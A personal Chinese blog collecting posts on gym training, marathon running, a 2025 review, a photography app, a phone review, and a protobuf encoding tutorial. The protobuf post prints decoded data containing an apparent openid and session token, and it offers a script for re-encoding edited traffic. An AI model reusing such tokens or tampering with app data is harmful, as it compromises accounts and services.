Raye's Journey

健身一周年不完全经验指南

Thu, 08 Oct 2026 00:00:00 GMT

如何开始健身？为什么你会想要健身呢？

很多事情的开始往往是没有原因的，之所以会有原因，大概率是你事后回顾，编造的一个理由罢了

不过也无所谓啦，如下都是一些我自己的经验，练的也一般居然还想教别人健身（bushi

去年9月份，我们几个朋友一起吃完饭，刚好bob哥最近一年开始研究健身了，于是说我们一起去公司健身房练练吧

没有想太多，于是我们就开始去健身房了，所以结论是：

当你有了朋友之后，你的胆子就会变大了

原本不敢做的事情，因为有了人的陪伴，于是就敢去做了

人还真实一种比较奇怪的动物（所以当你想做什么事情但是又不敢去做的时候，想象有一个朋友陪着你吧）

怪不得很多游戏的设定里，主角身边都是有一个一直陪伴的小精灵，最近玩《轮回之兽》也是这种感觉

主角身边一直围绕着一个只有她才能看到的幽灵——薇尔莉特

（插一嘴，轮回之兽前几关玩起来还是挺上头的，不过后面重复的关卡太多了）

回到健身房，我其实对三分化训练、人体各个肌肉名字完全都不了解，器械的使用方式也基本都不会，不过好在bob哥都手把手教了下（感恩bob哥）

由于第一次练，bob哥选择了带我们先练背，我当时第一次知道原来背部是要专门去训练的，也知道了三分化训练就是指的胸、背、腿三大块肌肉专门花一天时间去训练，刚好三天一个轮回

新手最开始听到这些概念肯定很懵逼，尤其是要练三天，并且每天都要一个小时。

因为我曾经自己去健身房随便玩过一些器械，然后第二天就全身酸痛，导致我对健身很畏惧

然鹅现在的我反倒是想念起这种痛感了（因为经常健身，疼痛的感觉很快就消失了）

因此对于新手来说，疼痛反倒是最好的信号（但是疼痛并不代表一定会长肌肉，具体原理比较复杂）

健身的基本知识

如前所述，三分化、四分化训练，就是一天专注练一块肌肉，连续4天再休息1～2天

新手因为刚开始健身很容易上瘾，千万不要一周练7天不休息，肌肉是在休息的时候生长的，所以一周练个4～5次就行

三分化训练一般是背部、胸、以及腿

四分化训练会补充肩和腹部

健身一定要练到1个小时，一般一个动作4～5组下来，加上组间歇时间就是15分钟左右，即1个小时刚好练完4个工作，刺激给到最充分

千万不要在健身房一直泡着，慢悠悠的搞两个小时，其实没啥用

新手从低重量开始，从比较轻松，到后面几组的重量刚好做8～12个即可，不要害怕小重量会被人嘲笑，大家都是各练各的，反正也互不认识。

如何做到坚持健身的？

很简单，努力就会有回报，这是健身带给我最大的快乐。

现在回看训记的记录，当我看到我一年前高位下拉还只能拉37.5kg，现在已经到70kg了，一年前卧推推40kg还费力，现在60kg可以做组，自重引体向上从一个都做不了，到一口气最多做12个，你就会感谢一直坚持健身的自己

如何记录

感谢伟大的训记开发者，强烈建议充会员！一次购买即可

https://apps.apple.com/cn/app/%E8%AE%AD%E8%AE%B0-%E8%AE%AD%E7%BB%83%E8%AE%A1%E5%88%92%E4%B8%93%E5%AE%B6/id1464915553

健身界最强大的app没有之一，用这个就对了分享下我的使用经验，我会按照训练计划分为练肩、背、胸、腿这四个部位

比如练肩，一般就是哑铃推肩、侧平举等，可以新建一个模板，把这些动作全都加进去

每天的健身第一步，打开今天的训练模板即可，如果某个器械被占用了，那么还可以设置替换动作（当然我都是把训练这个部位的所有动作都加上去了，有哪个就做哪个，没有练的就不记录了）

1RM是什么

RM就是Repeat Maximum的简称啦，即训练次数

1RM就是一个动作，你最多能做一次，就叫1RM了

大部分时候，我们都是对一个动作做8～12RM，不同次数对应不同的效果，其实也没有必要纠结这个，像我基本都是做8RM就行了

为什么1RM很重要呢？因为这是衡量你健身进步最强的动力啦！

比如卧推，当我能用60kg推8吃的时候，计算出来我就可以推72左右1RM（训记就可以帮你追踪你的1RM次数）

当然新手肯定是不建议直接冲1RM的，就算冲1RM也要有朋友在旁边帮助

关于饮食

AI已经很强了，多拍照问AI，计算热量、碳水脂肪蛋白质含量，保证2倍蛋白，2倍碳水，0.5倍脂肪即可（当然我是有点控制不住的。。。控吃真的太难了，猪瘾晚期患者

要不要吃蛋白粉

如果你觉得贵你可以不吃（真的，蛋白粉太贵了

但实际上我们每日的蛋白补充量是真的不够，我们可能吃了太多的碳水和脂肪，但是蛋白质真的很难吃够

正常来说我们都要吃到1~2倍体重的蛋白质含量（g/kg），比如我体重70kg，70g蛋白质，我让AI估算了一下，以一份辣可可小炒黄牛肉举例，至少要吃3碗才够，或者吃11个全蛋（蛋黄也吃）

这还只是一倍体重，所以可以想象我们日常的饮食里有多缺蛋白质了

而蛋白粉确实是一种最快速补充蛋白质的方法（而且我挺喜欢喝的，但是我知道有些人可能不喜欢蛋白粉的味道）

健身器械都没碰过，好怕出丑啊

羞耻心是肯定有的，所以如果有朋友带着，两个人一起出丑就不会害怕了（人真是一种奇怪的动物呢）

或者挑一个早上去人不太多的时候去就好啦，对着视频多熟悉即可，训记app上很多动作都有视频专门

我不想练太大 😓

这可能是健身最大的误区了。。想练大有那么简单就好了。。。

斜方肌是什么？会不会很丑

这就是动作的重要性，但其实也没那么复杂，练背的时候多注意沉肩就好了。

第一次练完后好疼

这就是多分化训练的重要性了，每天刺激不同的部位

但其实新手（比如我）最开始往往不是背、胸部疼，而是手臂疼，这是很正常的，因为手臂力量是短板，等手臂力量上来了就好了。

健身的时候做什么好呢？

听歌！建议不要听搞笑的播客，怕你笑岔气

如何跟别人轮换器械

问一下对方是否做完了，再强的人也不会一直做一个动作的，除非是某些邪修的人笑死哈哈哈

我害怕受伤

健身最伟大的发明就是固定器械，基本上用固定器械很难受伤的，大可放心

当我在跑步的时候我在想什么

Fri, 01 May 2026 01:59:23 GMT

越来越觉得，身处AI时代，更有必要坚持遵从本心去写作。我特别反感贩卖焦虑的自媒体，创作本就该发自内心，不应该被外界焦虑裹挟，被迫生出“我必须要做点什么”的念头。

从2025年11月真正开始跑步以来，我收获了太多，也慢慢笃定：自己应该好好记录、好好分享，把这段心路历程留存下来。

其实我一直都很喜欢跑步。学生时代常见的乒乓球、羽毛球、篮球这类球类运动，我都玩不好，所以只剩下跑步了。但如果你在初中体育课一个人独自绕操场跑步，会被你的同学或者朋友认为是一个很奇怪的事情，再加上我又是一个很在意他人评价的人，于是就不敢一个人大大方方地去跑步

真正和跑步结缘，并且想坚持跑步的想法，诞生在高中。当时我在实验班，寒暑假需要补课，但早上不用早读。于是我习惯每天七点起床，先去操场跑上一两圈，就这样坚持了整整一个月.

而真正重新拾起、正式开启跑步训练，是去年11月。因为公司每年都有司庆跑步活动，第一年我不知道有这个活动，知道后却发现名额满了；第二年报了名，又因为其他事情遗憾错过；直到去年，才终于成功参加了。

当时我和另外两位同事一起报名27公里团队跑，我和我的朋友hh负责跑10公里，另一位女生跑7公里。为了磨合状态，我跟hh约好早起拉练10公里。结果两个人一开始只顾着疯狂提速，配速直接冲到5分50多秒，跑完5公里后，后半程彻底跑崩。

好不容易熬完10公里回到起点，我们俩都扶着墙，虚脱到说不出话，整个人疲惫到恍惚。也正是从这次拉练开始，我自觉才算真正踏入跑步的行列。

其实之前我也试过跑步，但10公里对我而言，一直是一道遥不可及的坎。我也曾在跑步机上坚持过每天5公里，足足跑了一个月，但是跑步机实在是太过枯燥，很难投入进去，让我对跑步产生发自内心的喜欢。

后来尝试过第一次挑战10公里，是舜子哥带着我。那一次跑到七八公里时跑崩了。但这一次的拉练证明我是可以做到跑完10公里的，虽然疲惫，但是让我认识到，原来这件事，我真的可以做到。

我一直记得陈铭在辩论赛里说过一段话，非常有意思，他说：洞穴是黑暗的，但只要有光打进去，黑暗就不再是它的宿命；沙漠是隔绝的，但只要有人穿越过去，隔绝就不再是它的宿命。

曾经10公里于我，就是触不可及的目标；可当我真正第一次完成，才发觉到，原来也没那么难，我真的是可以完成的。

那次司庆跑步，我顺利跑完10公里，最终计时一小时零六分钟。放在当时还算勉强完成，但如今回头看已经很慢了——我的10公里已经能跑进52分钟，这要是放在几个月前，我完全无法想象...

从去年11月起，我决心开始系统训练，一方面想提升跑步水平、强化心肺，另一方面也是弥补自身短板：我从小心肺能力偏弱，肺活量一直偏低，Apple Watch测出的有氧水平也长期低于平均值，心里一直很介意。

说不清当时是哪来的一股劲头，就想认真试一试，就这样开启了跑步训练。如今再回头，反倒记不清当初出发的具体心境，甚至说不清最初的初心到底是什么。或许正因为没有预设的初心，反而少了“不忘初心、方得始终”的束缚。别人要怕走得太远、忘了为什么出发，而我本就不知为何出发，反倒能纯粹享受奔跑本身。

翻看过往的运动记录，后续我又参加了好几场跑步活动，也慢慢解锁了深圳的跑步路线，才发现自己居住的地方环境非常棒，沿着深圳湾就能一路畅跑。

解锁这条路线后，我越跑越投入。也就在某个瞬间，心底突然冒出一个念头：我是不是可以试着挑战马拉松？

我一直有种执念：想要真正融入一项运动、一个圈子，就必须全身心投入进去。就像当时用微信读书，我觉得只有主动发评论、写见解，和书友交流互动，而不只是单纯用来看书，才算深度参与，才算真正用好这款产品。

跑步也是同理，我开始想，我能不能挑战下跑者的最高殿堂——马拉松。

还记得那天我兴奋得彻夜难眠，凌晨四五点就醒了，四点四十九分从家里出门，只想单纯试一试，看自己能不能跑完一场半马。

没想到真的做到了，21公里的半马，最终用时2小时22分钟。那一刻满心震撼，从来没想过自己能跑完这样长度的距离。

既然能跑完，那为什么不正式报名参赛呢？我开始研究马拉松报名规则，才发现并没有自己想象中那么复杂，也没有遥不可及的高门槛。比如第一赛道app，只需完成15公里线上测试就能获得报名资格，于是我在12月报了广州、梅州两场半马。

广州遗憾没能中签，于是去了梅州半马，这也是我人生第一场线下半马。当时的目标是破2小时，但还是准备不足，最终时间定格在2小时4分钟

虽然遗憾，但也刷新了自己的最快配速——平均5分55秒跑完半马。放在以前，我日常慢跑也只是6分30、6分40的配速，根本不敢想象能跑出这个节奏。

跑完这场线下半马，像为我的人生推开了一扇全新的大门，听起来有点俗套，却是我最真实的感受。

然后就一发不可收拾，报了一堆马拉松比赛，最终顺利报上两场：浙江宁波奉化马拉松、青岛马拉松。

上半年还参加了深圳某公园的公益马拉松，赛道爬升182米，跑得格外煎熬，但也是我冬训最好的检验。没想到我成功实现半马破2，时间定格在1小时56分钟。

带着这份底气来到奉化马拉松，我跑出了个人半马最佳成绩：平均配速5分17秒，完赛1小时51分钟，顺利达成大众二级马拉松运动员的目标，原来自己真的可以做到！

回看这一路成长，配速从最初的6分40、甚至7分开外，到如今能以160左右的心率，稳住5分30秒配速，我已经历许多。

再想起当初10公里要跑1小时6分钟的自己，真的忍不住感慨：短短几个月，人真的可以完成质的飞跃。

有氧训练从来不会骗人，坚持练就一定会有进步，一旦停下，状态就会快速回落。

那么我跑步的时候，我都在想些什么呢？

最开始在跑步机上慢跑，满脑子只盼着这半小时赶紧结束，盯着计时器一分一秒煎熬，度秒如年。我没办法像别人那样追剧刷视频转移注意力，只能硬熬，非常痛苦。

但置身户外奔跑时，思绪反倒变得很松弛。

会胡思乱想，也会留意身边跑步的人，看别人的跑步体态（运动的小姐姐腿都很好看）；会观察别人身上的穿搭logo、运动装备。

跑在深圳湾的时候，常会看见栏杆上立着的大白鹭，一动不动宛如雕塑，走近才发现是真的大白鹭，非常有意思。看周围路边的草木，有时也会去想吴王钱镠写下“陌上坏开，可缓缓归矣”是一种什么样的情景。跑步的沿途总会有各种各样的细碎美好，足以填满奔跑的时光。

我记得我刚开始训练不就，有一次脑海中突然冒出一个想法，我已经跑了五公里了，离这次的目标就只剩5公里了，我突然觉得不知足了！我想跑更多，我第一次冒出这种想法的时候都惊呆了。

原来身体也能给出反馈，能承受的距离越来越长，心底的渴望也越来越多，就像《阿甘正传》里那句简单的台词：Run，Forest，Run，只管义无反顾，向前奔跑就好。

尤其偏爱夜晚在深圳湾蛇口海边跑步。沿着海浪边前行，听潮水涨落、浪花拍打礁石，恰好应和那句“海风吹过澎湖湾，白浪逐沙滩”。远处城市灯火辉煌，霓虹光影倒映在海面，海风拂面，那一刻多巴胺与肾上腺素开始上涌，只想一直往前奔跑，贪恋此刻的晚风、海浪与夜色，我有时候觉得，哪怕我就在这一刻死去，也是值得的。

我的2025

Wed, 31 Dec 2025 17:48:34 GMT

12月居然没有更新一篇文章，看来真的是太忙了。

12月我做了三次分享——草坪《重读鲁迅》、拜年祭《那不勒斯四部曲》以及部门年会上的分享，月中还有一次给老板的下半年汇报，耗去我不少精力。

但是不是真的没有时间来写周报和技术文章呢？我扪心自问，工作日晚上回家打一小时三国杀+看一小时书就睡了，写作阅读游戏总是不可兼得了。

原定的12月31日写一篇年度总结，但因为拖延症的关系又拖到了今天，已经是26年的1月1日了，不管怎么说这两个日子都有特殊的意义。

前段时间看到和菜头的一篇文章，他说你们的年度总结，本质上就是对12月的总结，因为前几个月发生的事情根本就不记得了，不得不说一语中的了。

于是我尝试去列了一下每个月所发生的一些重要事情，果真如此，年初的几个月还能记起一些，但是年中的7、8、9月已经是全都忘记了，不得不借助相册和为数不多pyq来回顾。

那么对于我26年的flag来说，唯一重要的一件事，就是尝试把每天发生的事情+自己的一些感受记录到flomo中，只要把这一件事做好就行了。

2025年我做了哪些改变

最大的改变就是健身和跑步，但是难以想象的是健身是我从9月底开始的，跑步则是11月开始的。“做一件事，最好是十年前，其次是现在”

健身和跑步对人的改善真的非常大，我曾经非常容易失眠，但现在基本倒头就睡，工作精力开始重新变得充沛，身体形态的改善也是肉眼可见（尽管还没有腹肌，但相信坚持下去总会有的）

每次的健身都让我充满了挑战欲，当我高位下拉的时候，最初的35kg还比较吃力,到现在45kg、52kg，你能持续感受到身体在不断的进步。

肌肉的恢复速度也不断加快，以往健身一次能疼一周，但现在一天后就恢复了，此刻对于痛苦已经不是惧怕，而是渴望。

跑步则是更让我欣喜的，我也是今年才懂得户外跑相比室内跑步机，对膝盖更好的道理。户外跑是一件非常上瘾的事情，尤其在深圳这么好的条件下，当我早上5点半沿着大沙河一路跑到日出剧场，此时刚好6点半，冬日的太阳逐渐升起，运气好的话还能看到火烧云，那种感觉是无与伦比的，恐怕也只有“悠然见南山”能形容了。

今年第一次参加了半马，来到梅州，早上7点半的梅州温度在6、7度左右，热身后却感觉不到寒冷，发令枪响起的一刻，跟随者大部队的脚步便开始了。

果然寒冷的天气，对于肌肉的酸痛有抑制作用，第一公里的配速就来到了5分28秒，心率也直接跳到160吗，让我有点害怕。但后续的也基本维持在5分50秒左右的配速，从来没想到过自己能跑这么快，毕竟以前训练的时候，我都是按照6分20左右的配速来跑。

我的心肺一直不太行，从小肺活量就很低，跑步也没怎么练上去。21公里最后的几公里已经让我几乎

周报42 十公里跑步、鬼灭、敦煌展

Thu, 20 Nov 2025 05:36:59 GMT

距离上一次的疯狂更新已经过了两周，中间的一个周末也曾想要维持更新频率，但人又开始变得有点懒惰，不过想要停下来写写的心总是在跳动着的，于是就开始写吧。

如果你想留住时间，那就看书吧，因为你以为你看了好久，实际上才不过几分钟

最近突然有了一个感悟，想要留住时间最快的办法就是阅读，阅读的时候时间流逝似乎非常慢。最近又在沉迷于《海伯利安》这本书，虽然去年曾经读过前两册，但我自认为并没有读懂，于是在微信读书上随便打开一页，刚好看到侦探拉米亚的故事，于是就一直往下看了。

海伯利安并不是一个硬核的科幻故事，如果喜欢硬核的科幻，我推荐《拯救计划》，但《海伯利安》自有它独特的魅力——它仿佛把一个从欧洲中世纪到现在的故事，放在太空的画卷下徐徐展开。

这也就是为什么，当你读到基督教、读到神父的时候，你会有疑惑，怎么科幻的故事里还残留着上个世纪的故事？超光速飞船的时代还会有人信奉基督教吗？星际航行的时代还有活人献祭的仪式吗？正是这看似不寻常的吊诡之处，吸引了我不断地重温。

等我有机会再写点这本书的读后感吧，不过我其实也不知道写啥，都是一些零零碎碎的想法。

跑步

和两个公司的朋友（非同事）报名了公司的司庆跑，三人小组，跑步总和27公里即可，我和另一个男生十公里，女生跑7公里。

我以往都是在公司的跑步机跑，十公里也不是没跑过，对于我来说，前面的3公里时一个小坎，随着逐渐进入状态，心率和呼吸开始加速。紧接着就是五公里，那是我平常跑的最远距离，跑完五公里之后，就只有靠毅力支撑下去了。

在跑前5公里的过程中，你会因为每跑完1公里就喜笑颜开，然而5公里之后，每增加的一公里，都要克服极大的身体和心理困难。

和朋友约好提前一天早上先在户外跑10公里熟悉路线，大早上的7点我们就碰面了，然后开始跑。

不得不说长跑控制配速是非常重要的，在空腹的情况下，两个人前5公里的配速基本都在6分钟以内，导致我们后半程人都虚脱了，最后跑完十公里，感觉人都站不稳了（所以跑步前吃点东西还是有必要的）

不过这也是我开始逐渐喜欢上户外跑步了，喜欢这种在城市间用脚步丈量空间的感觉，喜欢那在空旷的街道上撒开腿丫子飞奔，仿佛又回到了乡下，回到了自己的童年时候

哦对，训练跑当天还是我生日，也算是为自己庆生了吧！

鬼灭

舜子哥邀请我一起去看鬼灭之刃的路演，虽然我不是纯粹的鬼灭迷，但是也基本追完了系列的动漫，非常喜欢里面的角色。

电影其实非常棒，制作上似乎也找不出什么瑕疵，蝴蝶忍开场就没了，感觉纯粹是剧情杀。善逸直接单杀上弦六，节奏稍微过快了点。

最后就是打上弦三猗窝座了，看得我真是，为什么还不死！给我大哥报仇啊！

不过，上弦三的设定还是非常感人的，不过这个故事情节略显老套，因为大部分人看到开头就能猜到结局，但还是不影响3哥的形象，这种顶天立地的男子汉，誓死守护自己所爱的人。

敦煌展

南山博物馆的大成敦煌展非常值得，第一次是在周六晚上去的，走马观花看了后印象非常深刻，刚好看展群里有人要卖早鸟票的，于是就买了一张又去看了一遍

拍了一些有意思的照片：

巧摄使用与平安金融中心月升

Wed, 05 Nov 2025 05:48:35 GMT

巧摄

今年第一次接触到巧摄这个软件，契机已经忘了，只知道摄影圈的朋友都有用到这个软件，于是下载后付费，巧摄的基础功能是买断制的，只有机位探索与3d模型需要订阅，我直接选择all in

于是有朋友问了，巧摄究竟能做什么？我这里以最简单的功能来告诉你，巧摄是多么的牛逼无敌

悬月悬日计算

何谓悬月和悬日呢？即我们选择一个地标建筑物，如深圳的平安金融中心，春笋，这些地标建筑都是鹤立鸡群的，如果太阳或者月亮，刚好和它尖端重叠，此时就称之为悬

如果我们没有软件的计算，那就只能依赖经验判断，太阳可能还好说，但是月亮的升起和落下是一天一个位置的，这时候巧摄的第一个功能就出现了，它能帮我们计算出太阳或者月亮什么时候与建筑物重叠

如下是一个巧摄预测的经典截图，在这个截图中，可以看到有几个关键要素：

目标高度，即平安金融中心的高度，这个是非常关键的，巧摄是通过3D建模来模拟该建筑物的
月亮位置，你可以制定月亮出现在建筑物的什么位置，巧摄会按照你的要求进行搜索
高度角、方位角，这是指摄影机位的朝向
焦距：非常关键，可以看到下图是400mm，巧摄可以模拟出镜头焦距拍摄效果，如果你恰好有400mm镜头，你就可以百分之百地拍摄出如下画面，如果你手头没有这么长的焦距，那可以选择你拥有的焦距，巧摄也可以模拟你相机中取景框拍摄到的效果
中间就是取景框
下方则是时间，巧摄可以精确的计算出具体时间
当然左侧还有一些小图标，如显示更多地形、云层的，一般用的不是很多

巧摄使用思路

拍摄的时候无非是机位和被摄物体，被摄物体很容易定位，但是机位不太好确定，这时候有几种办法：

已知机位找日期：经典机位，即已经很明确的，如果你订阅了巧摄的机位探索功能，是可以看到别人共享出来的机位，这时候确定机位后，就可以直接搜索日期，什么时候会出现悬日悬月
已知日期找机位：如果你想知道今天或者明天，哪里可以拍摄，此时可以通过巧摄的对齐机位功能，巧摄会自动计算出一系列的机位，但这些机位只是理论上可行，需要实地考察

巧摄学习

建议按照巧摄的官方入门教程学习，耐心一路看过去即可，对于摄影的提升非常有用

11.5 平安金融中心月升

到达机位

很早之前就已经通过计算得知深圳湾公园可以拍摄到平安金融中心的月升，并且还刚好是满月，到达现场后发现已经有好多人到达了

和摄影群的朋友们也面基了，好多人都是第一次见😊

月升照片分享

天气还是不够通透，就这样吧哈哈，400焦距尽力了

oppo findx8u 使用体验分享

Mon, 03 Nov 2025 05:54:53 GMT

第一次写测评类的文章，仅分享个人主观使用体验

起因

我的iPhone13pro，已经服役3年多了，由于我作死般地升级了ios16，导致使用上越来越卡顿，微信月球界面一天要见无数次，于是多方对比下，9月份换了oppo findx8u

从iPhone迁移到安卓，最开始是犹豫的，因为有好些个ios付费app，只能在iPhone使用，比如足迹记录软件Rond，还有索尼的导出软件，因为已和相机做了关联，如果换新手机后，导出相机未免有些麻烦，总结下犹豫的理由吧：

付费app，iPhone专属
相机app，手机与相机做了绑定
部分app 安卓功能缺失，如dj mimo，只有iPhone版支持live三拼

当然安卓也不是没有优势，巧摄软件的最新天气功能，就只能在安卓上使用，这也是促使我换安卓的原因

所以我的解决方案还是双持，反正iPhone体积小巧，重量可接受，主力机还是用安卓，特定情况下才会使用iPhone，目前两个多月使用下来，自我感觉良好。

为什么是oppo findx8u

曾经的我认为oppo、vivo这类手机就是智商税，毕竟相同价位下的小米配置参数完全碾压吊打ov，但今时不同往日，ov两家在摄影上的进步是有目共睹的，反而上半年的小米15ultra，我体验下来，觉得拍摄得很一般，莱卡的色彩并没有让我很惊艳，vivo x200ultra曾经是我非常想换的手机，毕竟底是最大的，但综合对比下来：

小米，体验过朋友的手机，拍出来的照片也还不错，但不知道为啥不太想用小米
vivo，饱和度战士😂，但是照片很讨喜
oppo，购买之前我认为是色彩还原度比较好的，并且和哈苏联名让我很是心动（所有摄影人的终极梦想都是想买一台哈苏吧）

当然oppo findx8u还有很多其他因素，比如操作习惯基本和苹果保持一致，能抄的基本都抄了，这就让我基本不用改平常的操作习惯，无缝迁移，完全可以认为是优化过后的ios

唯一吐槽的就是购买后发现oppo的开机键、音量控制键在同一侧，让我特别不适应

购买

由于是上半年发布的手机，9月左右入手，虽然比不过双十一，但价格也比较稳定了，拼多多百步补贴挺香的，但我这次尝试了下咸鱼，找了一个二手卖家，当天晚上就送过来了，感觉上应该是一个职业卖家，稍微检查了下没有任何瑕疵，目前使用下来感觉也还不错，看来走咸鱼面交买手机也是一个不错的选择，价格也更优惠

哈苏色彩

大师模式自动

哈苏色彩是我最喜欢oppo的一点，开启大师模式后，色彩的还原度让我觉得非常惊艳

大师模式的自动是我最开始比较常用的，最开始给我的感觉是照片的暗部会更暗一点，照片有一定的对比度但是又不过分

大师模式手动

如果你了解曝光三要素，大师模式手动可能是最常用的，在这个模式下可以调三个大的参数：

曝光三要素：主要是调整快门和iso，比如拍日出的时候iso可以调到100，快门可以选择自动，也可以手动调节看效果（iso一般往低了调，毕竟底低iso拍出来的照片更纯净）
柔光、影调、饱和度、色温、青品这几个参数
- 柔光，这个主要是增加朦胧的效果，人像摄影比较常用
- 影调，控制照片整体明暗对比关系，调高让照片光影感更强，调低让照片更平淡
- 饱和度，主要控制色彩的鲜艳程度，建议别太高，不然就成为饱和度战士了
- 色温，控制冷暖
- 青品，调高增加品红色，画面偏暖，调低增加青绿色，画面偏森系
滤镜：这个太多了，我一般默认标准，但是复古和童话也挺不错的，具体可以参照小红书上大佬们总结出来的调色参数

放一些大师模式拍出来照片，更多可以查看我的照片博客

拍视频

目前博客似乎还不支持嵌入视频，但我要说的是，find x8u 拍烟花视频真的是一绝！等我后续把视频传上来

protobuf编码规则分析

Mon, 03 Nov 2025 05:35:10 GMT

分析protobuf二进制编码

比如一个最简单的pb：

syntax = "proto3";

message ResourceModify {
    int32 type = 1;
    int32 amount = 2;
}

我们假设数据是：

{
  "type": 1,
  "amount": 26526
}

如何得到其对应的二进制编码呢？

tag + value

可以简单的把pb的二进制编码看作是 tag + value ，首先看tag怎么计算

公式：

tag = (field_number << 3) | wire_type

field_num 即是序号，左移三位，然后和wire_type计算或

这个wire_type即代表了该字段的类型，定义如下

因此，第一个字段 type = 1 对应的key就是：

1 << 3 | 0 = 0x8

接着再拼接上它的value，最后就是0x0801

msb +小端序编码

接着看第二字段

"amount": 26526

计算tag：2 <<3 |0 = 0x10

对应的value，则是：9ecf01 ，你是不是很好奇怎么来的，为什么不直接是26526的十六进制编码，这是因为pb采用了msb +小端序的规则

msb即最高位置作为符号位信息

我们将其转为对应的二进制，第一位为msb符号位直接去掉，然后按照小端序来拼接

9e = 10011110
cf = 11001111
01 = 00000001

拼接过程， 先取01 -> 00000001 （注意MSB，第一位直接丢掉
然后取 cf -> 1001111(同样第一位被丢掉了)
再取 9e -> 0011110 
拼接起来就成了  1 1001111 0011110
用py代码转一下就有了
int('1 1001111 0011110'.replace(' ', ''), 2) # 26526

vibe coding一下

def int_to_varint(n):
    """
    将一个大于 255 的整数转换为 Protobuf varint 编码。

    :param n: 需要转换的整数。
    :return: varint 编码后的字节数组（以 list 的形式返回）。
    """
    result = []
    while n > 0x7F:  # 0x7F = 127
        # 取低 7 位，并将高位设为 1 表示后续还有字节
        result.append((n & 0x7F) | 0x80)
        n >>= 7  # 将 n 右移 7 位
    result.append(n & 0x7F)  # 最后一个字节，最高位为 0
    return result

# 示例：将一
# 个大于 255 的数转换为 varint 编码
number = 26581
varint_encoded = int_to_varint(number)
print(f"Varint encoding for {number}: {[hex(b) for b in varint_encoded]}")

嵌套消息结构

如果遇到了这段编码

0A 06 08 01 10 9E CF 01

可以看到就是多了前两个字节： 0A 06

其中 0A 是第一个字段，并且代表后面是一个字符串或者嵌套消息，06代表长度，接着后面刚好6个字节， 08 01 10 9E CF 01，其实就回到前面了，所以其消息结构应该是：

{
  "1": {
    "1": 1,
    "2": 26526
  }
}

一键解码pb二进制

可以直接调用 protoc --decode_raw 来解码，不过pb编码后会丢失字段名，所以解码后也是看不到字段名的

❯ echo "0A 06 08 01 10 9E CF 01" | xxd -r -p | protoc --decode_raw

1 {
  1: 1
  2: 26526
}

或者这个例子：

❯ echo "0a1074645f6f70656e65775f64616d656e67120864616d656e6777781a08313139373230363922a0017b226f70656e6964223a226f33396867347a5155484b47376f414b57316655384b39425674426f222c22746f6b656e223a226a6434747165564664484b4c65366b31576d4a346550427875565137564e6e724c6c55413847442f6a5a2b4e3636535464655039534c37556936666a6176676a67714b735378646d61396d62644a6d2f6634615352517646415a414f50545578414c6b49664961513776513d227d2a00320864616d656e6777783a140a0012001a0022002a0032003a0631342e322e304202636e4804" | xxd -r -p  | protoc --decode_raw
1: "td_openew_dameng"
2: "damengwx"
3: "11972069"
4: "{\"openid\":\"o39hg4zQUHKG7oAKW1fU8K9BVtBo\",\"token\":\"jd4tqeVFdHKLe6k1WmJ4ePBxuVQ7VNnrLlUA8GD/jZ+N66STdeP9SL7Ui6fjavgjgqKsSxdma9mbdJm/f4aSRQvFAZAOPTUxALkIfIaQ7vQ=\"}"
5: ""
6: "damengwx"
7 {
  1: ""
  2: ""
  3: ""
  4: ""
  5: ""
  6: ""
  7: "14.2.0"
}
8: "cn"
9: 4

一键编码pb二进制

protoc 提供了解码，但是并没有提供编码，这个让我百思不得其解，实战中经常会有需要解码后修改数据再编码回去的，这个过程是完全可逆的，不会损失任何信息

于是干脆自己vibe coding了一个，如下，非常方便

'''
python pb_test.py # 解码，默认输出到output.txt
python pb_test.py encode # 编码，默认读取output.txt
'''

from google.protobuf.internal import decoder, encoder



# 在这里粘贴base64编码的pb二进制数据
a = '''CA8SyQEIARABGAAgACgAMAA4AEAASABQAFgAYABoAHC+T3gAgAEAiAEAkAEAmAEAoAEAqAEDsAEAuAEAwgEIAQg2ONAP0Q/IAQDQAdvctKeiM9gBAOABAOgBAPABAPgBAYACAIgC0A+SAgCYAgKgAgCoAgywAgC4AgDAAgDIAgDYAgDgAgDoAgDyAgoIBhAAGAAgASgA+AIAgAMAigMICJvbgMgGIAGSAxUKCAiAi/nHBhAACgkIgK7+xwYQryuaAwYoADABOGSiAwCoAwAaCAix2wYQABgAGggIstsGEAAYABoICLPbBhAAGAAaCAi02wYQABgAIgYIwZoMEAAiCgihjQYQgNKTrQMiCgiijQYQgNKTrQMqvQcKIwgBEAEYASABKgIBBTC7gMHGojM4AEAASABQAGAAaABwAHgBEgMI8AcaAghlKgwIoY0GEGUYACAAKAA6DQiRThBlGAEgACgAMAA6DQiSThBkGAAgACgAMAM6DQiTThBkGAAgACgAMANCDAihnAEQZBgAIAAoAEIMCKKcARBkGAAgACgAQgwIo5wBEGQYACAAKABCDAiknAEQZBgAIAAoAEIMCKWcARBkGAAgACgAQgwIppwBEGQYACAAKABCDAipnAEQZRgBIAAoAEoMCLHqARBlGAEgACgAUg4IwbgCEGQYACAAKAAwBFoICNGGAxBlGABiCAjh1AMQZRgBaggI8aIEEGUYAXIMCIHxBBBlGAEgACgAegoIkb8FEGQYACAAggEECAEQAIIBBAgCEACCAQQIAxAAggEECAQQAIIBBAgFEACCAQQIBhAAggEECAcQAIIBBAgIEACCAQQICRAAigEMCLHbBhBkGAAgACgAigEMCLLbBhBkGAAgACgAigEMCLPbBhBkGAAgACgAkgEMCMGpBxBkGAAgACgAmgEMCOHFCBBkGAAgACgAmgEMCOLFCBBkGAAgACgAmgEMCOPFCBBkGAAgACgAmgEMCOTFCBBkGAAgACgAmgEMCOXFCBBkGAAgACgAmgEMCObFCBBkGAAgACgAmgEMCOfFCBBkGAAgACgAmgEMCOjFCBBkGAAgACgAmgEMCOnFCBBkGAAgACgAqgEMCIHiCRBkGAAgACgAqgEMCILiCRBkGAAgACgAqgEMCIPiCRBkGAAgACgAsgEOCJOwChBkGAAgACgAMAKyAQ4IkrAKEGQYACAAKAAwArIBDgiRsAoQZBgAIAAoADACugEICKH+ChBlGADCAQwIscwLEGQYACAAKADCAQwIsswLEGQYACAAKADCAQwIs8wLEGQYACAAKADCAQwItMwLEGQYACAAKADKAQgIwZoMEGQYANIBDAjU6AwQZBgAIAAoANIBDAjR6AwQZBgAIAAoANIBDAjS6AwQZBgAIAAoANIBDAjT6AwQZBgAIAAoAOIBDAjxhA4QZBgAIAAoAOIBDAjyhA4QZBgAIAAoAOIBDAjzhA4QZBgAIAAoAOIBDAj0hA4QZBgAIAAoAOoBDgiB0w4QZBgAIAAoADAD6gEOCILTDhBkGAAgACgAMAPyAQwI4ZgXEGQYACAAKAD6AQwIgbUYEGQYACAAKACCAgwI8eYXEGQYACAAKAC